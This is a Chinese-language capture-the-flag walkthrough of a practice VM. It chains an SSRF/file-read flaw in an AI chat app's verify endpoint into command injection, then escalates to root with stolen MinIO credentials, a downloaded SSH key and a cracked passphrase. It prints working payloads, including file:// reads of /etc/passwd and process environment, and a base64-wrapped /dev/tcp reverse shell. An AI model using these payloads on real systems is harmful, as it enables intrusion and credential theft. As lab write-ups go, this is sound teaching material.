信息收集
局域网发现与端口确认
sudo arp-scan -l
192.168.205.134 08:00:27:ae:60:51 PCS Systemtechnik GmbH
我先用 arp-scan 把靶机找出来,目标是 192.168.205.134。
nmap -p 0-65535 192.168.205.134
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
全端口扫完就两个服务,重点自然放在 Web。
域名分流处理
curl 192.168.205.134
<h1>请使用域名访问</h1>
<code>http://cu6l.dsz</code>
<code>http://www.cu6l.dsz</code>
IP 访问是提示页,要求走域名。
echo '192.168.205.134 cu6l.dsz www.cu6l.dsz' | sudo tee -a /etc/hosts
配完后我试了 www.cu6l.dsz 还是提示页,cu6l.dsz 才是实际业务页面(一个 AI 聊天窗口)。
从前端接口切进后端
锁定 /api/verify
前端 JS 里能看到验证 API 的请求逻辑:
const response = await fetch(`${API_BASE}/verify`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
base_url: baseUrl,
api_key: apiKey,
model,
headers
})
});
这里把用户输入的 base_url 直接送后端做“验证”,这个设计我当时就盯上了,优先测 SSRF/LFI。
python3 -m http.server 80
然后我让 /api/verify 指向我的 Kali:
curl -s -X POST http://cu6l.dsz/api/verify \
-H "Content-Type: application/json" \
-d '{"base_url":"http://192.168.205.128","api_key":"a","model":"a","headers":{}}' | python3 -m json.tool
{
"data": "<!DOCTYPE HTML>...Unsupported method ('POST')...",
"stdout": "<!DOCTYPE HTML>...Unsupported method ('POST')...",
"success": true
}
这一步证明后端确实会拿我的 base_url 去发请求,而且响应内容还会回显回来。
LFI 拿配置与源码
读取 /etc/passwd
curl -s -X POST http://cu6l.dsz/api/verify \
-H "Content-Type: application/json" \
-d '{"base_url":"file:///etc/passwd","api_key":"a","model":"a","headers":{}}' | python3 -m json.tool
...
yliken:x:1001:1001::/home/yliken:/bin/bash
file:// 能读本地文件,LFI 成立。系统里有个 yliken 用户,后面会用到。
读取进程环境变量
curl -s -X POST http://cu6l.dsz/api/verify \
-H "Content-Type: application/json" \
-d '{"base_url":"file:///proc/self/environ","api_key":"a","model":"a","headers":{}}' | python3 -m json.tool
USER=yliken
MINIO_ACCESS_KEY=dszminioadmin
MINIO_ENDPOINT=127.0.0.1:9000
MINIO_SECRET_KEY=dszminioadmin-01
PWD=/app/backend
这波直接爆了 MinIO 凭据和后端工作目录,信息价值很高。
读取后端源码确认利用点
curl -s -X POST http://cu6l.dsz/api/verify \
-H "Content-Type: application/json" \
-d '{"base_url":"file:///proc/self/cwd/app.py","api_key":"a","model":"a","headers":{}}' | python3 -m json.tool
源码里关键片段是这几行:
curl_command = f"curl -X POST {base_url} -H 'Content-Type: application/json' -H 'Authorization: Bearer {api_key}'"
for key, value in headers.items():
curl_command += f" -H '{key}: {value}'"
result = subprocess.run(
curl_command,
shell=True,
capture_output=True,
text=True,
timeout=30
)
这里就是标准命令拼接。到这一步基本已经是可控命令执行了,不只是 SSRF/LFI。
命令注入拿到 yliken shell
反弹监听与 payload 准备
nc -lvnp 4444
listening on [any] 4444 ...
echo 'bash -i >& /dev/tcp/192.168.205.128/4444 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwNS4xMjgvNDQ0NCAwPiYxCg==
我这边用 base64 包了一层反弹命令,触发点就是 /api/verify 的命令注入位置。
收到 shell 并确认 user flag
nc -lvnp 4444
connect to [192.168.205.128] from (UNKNOWN) [192.168.205.134] 60398
bash: cannot set terminal process group (321): Inappropriate ioctl for device
bash: no job control in this shell
yliken@cu6l:/app/backend$ id
uid=1001(yliken) gid=1001(yliken) groups=1001(yliken)
yliken@cu6l:~$ ls -al
-rw-r--r-- 1 root root 56 Feb 8 21:12 hint
-rw-r--r-- 1 root root 44 Feb 6 05:07 user.txt
yliken@cu6l:~$ cat user.txt
flag{user-9ffbf43126e33be52cd2bf7e01d627f9}
yliken@cu6l:~$ cat hint
记性不好,密码老忘
找个地方存一下吧。
拿到 yliken 后,hint 这句基本就是在暗示“有凭据存储点”,正好前面已经拿到了 MinIO 配置。
利用 MinIO 凭据挖出 root 私钥
枚举 bucket 和对象
from minio import Minio
client = Minio('127.0.0.1:9000', access_key='dszminioadmin', secret_key='dszminioadmin-01', secure=False)
for bucket in client.list_buckets():
print(f'Bucket: {bucket.name}')
for obj in client.list_objects(bucket.name, recursive=True):
print(f' {obj.object_name} ({obj.size} bytes)')
Bucket: avatars
session-1770371365222.jpg (67124 bytes)
session-1770603327996.jpg (301619 bytes)
session-1770603535956.jpg (301619 bytes)
Bucket: mysecret
id_rsa (3414 bytes)
mysecret/id_rsa 这个名字已经非常直白了,直接取出来看。
下载 id_rsa
from minio import Minio
client = Minio('127.0.0.1:9000', access_key='dszminioadmin', secret_key='dszminioadmin-01', secure=False)
data = client.get_object('mysecret', 'id_rsa')
print(data.read().decode())
data.close()
data.release_conn()
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
私钥有口令保护,直接 ssh -i 用不了,需要先跑解密口令。
爆破私钥口令并登录 root
ssh2john id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
superman (id_rsa)
口令是 superman,然后直接用这把 key 登 root:
ssh root@192.168.205.134 -i /tmp/id_rsa
Enter passphrase for key '/tmp/id_rsa':
root@cu6l:~# id
uid=0(root) gid=0(root) groups=0(root)
root@cu6l:~# cat /root/root.txt
flag{root-009520053b00386d1173f3988c55d192}
到这里靶机权限和两个 flag 都完成验证。